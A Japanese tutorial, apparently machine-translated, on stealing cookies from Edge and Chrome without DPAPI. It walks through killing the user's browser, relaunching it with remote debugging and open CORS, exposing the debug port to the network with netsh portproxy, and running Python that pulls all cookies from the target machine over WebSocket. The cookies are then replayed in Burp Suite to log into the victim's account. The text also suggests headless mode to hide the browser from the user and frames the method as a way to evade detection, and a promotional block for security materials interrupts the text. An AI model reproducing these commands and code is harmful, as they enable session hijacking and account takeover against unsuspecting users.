序文
この記事では、DPAPI に依存せずに Chromium カーネル ブラウザの Cookie を取得する方法を紹介します。
リモートデバッグ
まず、エッジを例に挙げてみましょう。エッジ ブラウザーは Chromium に基づいており、Chromium ではリモート デバッグを有効にすることができます。リモート デバッグを有効にするための公式ドキュメントは次のとおりです。
https://blog.chromium.org/2011/05/remote-debugging-with-chrome-developer.html
chrome.exe --remote-debugging-port=9222 --user-data-dir=remote-profile
では、リモート デバッグを有効にした後は何ができるでしょうか? 引き続き公式ドキュメントを読んでください。
https://chromedevtools.github.io/devtools-protocol/tot/Storage/
上記の公式文書は Chrome 開発者ツールのプロトコル文書で、Chrome のデバッグを実装して分析する必要がある場合は、リモート デバッグを有効にする必要があると記載されています。
通知をオンにすると、json などのインターフェイスやさまざまな API の使用も提供されます。
Edge は Chromium に基づいているため、Edge はリモート デバッグも有効にすることができます。Chrome を使用してリモート デバッグ コマンドを有効にして、エッジのリモート デバッグを有効にしてみます。
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9222
テスト後は可能ですが、msedge プロセスが実行されていないことが前提となります。そうでない場合、上記のコマンドはエッジ プロセスを開始しますが、リモート デバッグ ポートは開きません。停止コマンド:
Get-Process msedge | Stop-Process
クッキーを取得する
まず、Chrome デベロッパー ツール プロトコルがブラウザのパスワードなどを取得できるかどうかを確認します。ドキュメントはありません: サイバーセキュリティの
学習を支援し、無料で完全な情報セットを取得します:
① サイバーセキュリティの学習成長パスのマインド マップ②
60+ の古典的なサイバーセキュリティ
ツールキット③ 100 冊以上の SRC 分析レポート④
150 冊以上のネットワーク セキュリティの攻撃的および防御的な戦闘技術電子書籍
⑤ 最も権威のある CISSP 認定試験ガイド + 質問バンク
⑥ 1800 ページを超える CTF 実践スキル マニュアル
⑦ ネットワーク セキュリティに関する最新の面接質問集 (回答を含む) )
⑧ APPクライアントセキュリティ検出ガイド(Android+IOS)
また、開発者ツールを呼び出すには通常 F12 を使用しますが、ブラウザのパスワードを取得する方法はありません。
Cookie の検索を続けると、 が 1 つあることがわかりますNetwork.getAllCookies
が、ドキュメントにはそれが非推奨になっていることが記載されているので、次を使用しますStorage.getCookies
。
次に、Storage.getCookies
Cookie を取得できるかどうかを使用してみます。
リモート デバッグを有効にした後、WebSocket アドレスを取得します。
次に、Python の websocket-client モジュールを使用してデータを送受信しようとすると、プロンプト 403 を見つけました。
プロンプトによると、これは CORS の問題であるようで、解決策が示されています。
--remote-allow-origins=*
追加後、次のパケットを送信して Cookie を正常に取得します。
{"id": 1, "method": "Storage.getCookies"}
WebSocket インターフェイスへのリモート アクセスを容易にするために、リモート デバッグ ポートをマッピングできます。
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
これにより、ターゲットのリモート デバッグ ポートへのリモート アクセスが可能になります。
コードを書く
Github には、リモート デバッグ ポートを自動的に開き、Cookie を取得するウェアハウスがあります。
https://github.com/defaultnamehere/cookie_crimes/blob/master/cookie_crimes.py
コードにはいくつかの問題があります。1 つ目は、CORS 問題を解決しません。2 つ目は、おそらく非推奨のバージョンを使用しています。3 つ目は、Network.getAllCookies
Python に依存する代わりに cmd コマンドを使用してリモート デバッグ ポートを有効にすることができます。コードは次のとおりです。
import json
import requests
import websocket
GET_ALL_COOKIES_REQUEST = json.dumps({"id": 1, "method": "Storage.getCookies"})
def hit_that_secret_json_path_like_its_1997():
response = requests.get("http://10.211.55.8:48333/json")
websocket_url = response.json()[0].get("webSocketDebuggerUrl")
return websocket_url
def gimme_those_cookies(ws_url):
ws = websocket.create_connection(ws_url)
ws.send(GET_ALL_COOKIES_REQUEST)
result = ws.recv()
ws.close()
response = json.loads(result)
cookies = response["result"]["cookies"]
return cookies
ws_url = hit_that_secret_json_path_like_its_1997()
print(ws_url)
cookies = gimme_those_cookies(ws_url)
print(cookies)
このようにして、ターゲット マシン上でリモート デバッグ ポートを開き、Cookie を取得できます。開いているブラウザがユーザーに見つからないようにするには、 headless パラメータを使用できます-headless
が、後で説明する欠点があります。また、/json インターフェイスが空にならないようにするために、ブラウザーの起動時に Web サイトを開くことをお勧めします。そのため、最終的な完全なコマンドは次のようになります。
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=* -headless
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
実用的
上記のコマンドでエッジを開始します。
Cookie を取得すると、www.baidu.com の Cookie しか取得できないことがわかりました。
これは、上記のヘッドレス パラメーターを使用する場合の欠点であり、-headless
開いている Web サイトの Cookie しか取得できません。したがって、指定した対象 Web サイトの Cookie を取得したい場合は、上記の操作を繰り返すか、headless パラメータをキャンセルする必要があります-headless
。著者は-headless
パラメータをキャンセルすることを推奨しており、ブラウザを開いているユーザーも通常どおりに使用できるため、推奨コマンドは次のとおりです。
# 关闭edge
Get-Process msedge | Stop-Process
# 启动远程调试
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
# 把远程调试端口映射出来
netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=48333 connectaddress=127.0.0.1 connectport=9222
# 访问json接口获取websocket地址并获取Cookie
# 关闭端口映射
netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=48333
上記のデータを取得した後、それをどのように使用しますか? 作成者は、Cookie 形式の要件を満たすスプライシングを完了するために次のコードを提供します。
def to_cookie_dict(data):
if 'www.chinabaiker.com' in data['domain']:
cookie_dict = {data['name']: data['value'], 'Domain': data['domain'], 'Path': data['path'], 'Expires': data['expires']}
print(cookie_dict)
return cookie_dict
data_list = [{}]
cookie_dict_list = [to_cookie_dict(data) for data in data_list]
# 遍历多个cookie字典,将每个字典中的key和value格式化为key=value的字符串
cookie_str_list = []
for cookie_dict in cookie_dict_list:
try:
for k, v in cookie_dict.items():
cookie_str_list.append('{}={}'.format(k, v))
except Exception as e:
print(e)
pass
# 使用;将多个key=value字符串连接在一起
cookie_str = ';'.join(cookie_str_list)
print(cookie_str)
多数の Cookie が取得されるため、コードの先頭で簡単なフィルターが作成されます。
if 'www.chinabaiker.com' in data['domain']:
最終的な効果は次のとおりです。
まず、Web サイトは非ログイン状態になります。
上記のコードを実行して Cookie を取得し、
それを burpsuite に入れて自動置換します。作者の置換ルールは次のとおりです。
最終的に Cookie の置換が正常に完了し、ログイン先システムが完成します。
Chrome ブラウザも同じなので、これについては多くのスペースを費やしません。
"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" https://www.baidu.com --remote-debugging-port=9222 --remote-allow-origins=*
要約する
この記事では、DPAPI に依存せず、できるだけ傍受されずにブラウザの Cookie を取得できる Chromium カーネルのブラウザの Cookie を取得する方法を紹介します。